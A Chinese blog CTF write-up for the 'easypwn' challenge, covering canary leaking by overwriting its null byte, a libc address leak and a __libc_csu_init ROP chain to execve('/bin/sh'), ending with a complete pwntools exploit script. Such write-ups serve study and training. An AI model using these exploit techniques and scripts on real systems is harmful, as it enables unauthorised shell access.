

“百度杯”十二月场 easypwn

原创

F1Sh. 于 2019-03-14 16:45:33 发布 520 收藏

文章标签: [栈溢出](#) [绕过canary](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/baiyeguang/article/details/88556213>

版权



[i春秋](#) 专栏收录该内容

3 篇文章 0 订阅

订阅专栏

题目链接

程序分析

查看程序保护机制

```
geng@ubuntu: ~/桌面/test
geng@ubuntu:~/桌面/test$ checksec easypwn
[*] '/home/geng/\xe6\xa1\x8c\xe9\x9d\xa2/test/easypwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
geng@ubuntu:~/桌面/test$
```

开启了canary保护, 想办法绕过, 这里选择泄露canary

```
-----
text:0000000004006C6 buf = byte ptr -50h
text:0000000004006C6 var_8 = qword ptr -8
text:0000000004006C6
text:0000000004006C6 push rbp
text:0000000004006C7 mov rbp, rsp
text:0000000004006CA sub rsp, 50h
text:0000000004006CE mov rax, fs:28h
text:0000000004006D7 mov [rbp+var_8], rax
text:0000000004006DB xor eax, eax
```

可以看出canary的位置在[rbp-8]处，接着想办法泄露出[rbp-8]处数据

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     char buf; // [sp+0h] [bp-50h]@0
4     __int64 v6; // [sp+48h] [bp-8h]@1
5
6     v6 = *MK_FP(__FS_, 40LL);
7     memset(&buf, 0, 0x40uLL);
8     puts("Hello! I am the smartest robot in the universe!\nWho are you?");
9     fflush(_bss_start);
10    read(0, &buf, 0x100uLL);
11    printf(
12        "Your name %s sounds so stupid!\nBut you don't looks like a fool, isn't it?\nso why don't tell me your real name?\n",
13        &buf);
14    fflush(_bss_start);
15    read(0, &buf, 0x100uLL);
16    puts("Oh! This one is better, nice to meet you!\nGoodbye! See you again!");
17    return *MK_FP(__FS_, 40LL) ^ v6;
18 }
```

<https://blog.csdn.net/baiyeguang>

从源码中可以看出此处可以栈溢出，且canary位置为0x50-8，由于程序在接收到我们的输入之后会返回回来，所以如果我们可以覆盖掉canary低位的0x00就可以将canary一起打印出来，这里如果我们用sendline('b'*(0x50-8))就可将canary低位覆盖为0x0a（空格的ascii码为0x0a）。这样canary就get了

之后就是构建合适的ropchain了，由于不知道libc的版本，所以我们先leak出read函数的地址，然后利用__libc_csu_init()函数来构建，__libc_csu_init()是x64下初始化libc的函数，详细可戳

学习大佬们的wp发现都用了ret2syscall，好像这样比较简单，[ret2syscall学习链接](#)

漏洞利用

- 1.用空格覆盖canary低位的0x00截断，打印出canary
- 2.泄露出read地址，然后得出syscall的地址
- 3.利用__libc_csu_init()函数构建rop链来运行execve('/bin/sh',0,0)

exp

```

from pwn import*

context.binary = './easypwn'
context.terminal = ['tmux', 'sp', '-h']
p=process('./easypwn')
#p=remote('106.75.2.53',10002)
elf=ELF('./easypwn')

p.recvuntil('Who are you?\n')
p.sendline('a'*(0x50-0x8))
p.recvuntil('a'*(0x50-0x8))
canary=u64(p.recv(8))-0xa
print 'canary: '+hex(canary)

prdi_ret=0x4007f3
main_addr=0x4006C6
read_got=elf.got['read']
puts_plt=elf.plt['puts']
p.recvuntil('tell me your real name?\n')
payload='a'*(0x50-0x8)
payload+=p64(canary)
payload+='a'*8
payload+=p64(prdi_ret)
payload+=p64(read_got)+p64(puts_plt)
payload+=p64(main_addr)
p.send(payload)

p.recvuntil('See you again!\n')
read_addr=u64(p.recvuntil('\n',drop=True).ljust(0x8,'\x00'))

print 'read_addr: '+hex(read_addr)
syscall=read_addr+0xe #这里是一个syscall中断
print 'syscall: '+hex(syscall)
sleep(0.5)

ppppppr=0x4007ea
initaddr=0x4007d0
bss_addr=0x601070
p.recvuntil('Who are you?\n')
p.sendline('A'*(0x50-0x8))
p.recvuntil('tell me your real name?\n')
payload='a'*(0x50-0x8)
payload+=p64(canary)
payload+='a'*8
payload+=p64(ppppppr)
payload+=p64(0)+p64(1)+p64(read_got)+p64(0x3B)+p64(bss_addr)+p64(0) #将/bin/sh写入到bss段
payload+=p64(initaddr)
payload+=p64(0)
payload+=p64(0)+p64(1)+p64(bss_addr+8)+p64(0)+p64(0)+p64(bss_addr)
payload+=p64(initaddr)
p.send(payload)
sleep(0.5)

payload='/bin/sh\x00'+p64(syscall)
payload=payload.ljust(0x3B,'a')
p.send(payload)

p.interactive()

```

我们知道execve的系统调用号为0x3B，而且read函数会返回读入数据的字节长度,并将这一结果放入eax，所以满足系统调用时eax中存放调用号这一限制，当程序执行bss_addr+8处内容（即syscall中断），加上之前我们将正确的参数传入寄存器中，即可执行execve（'/bin/sh',0,0）。

学习链接：

https://blog.csdn.net/aptx4869_li/article/details/81322632

<https://www.ichunqiu.com/writeup/detail/519>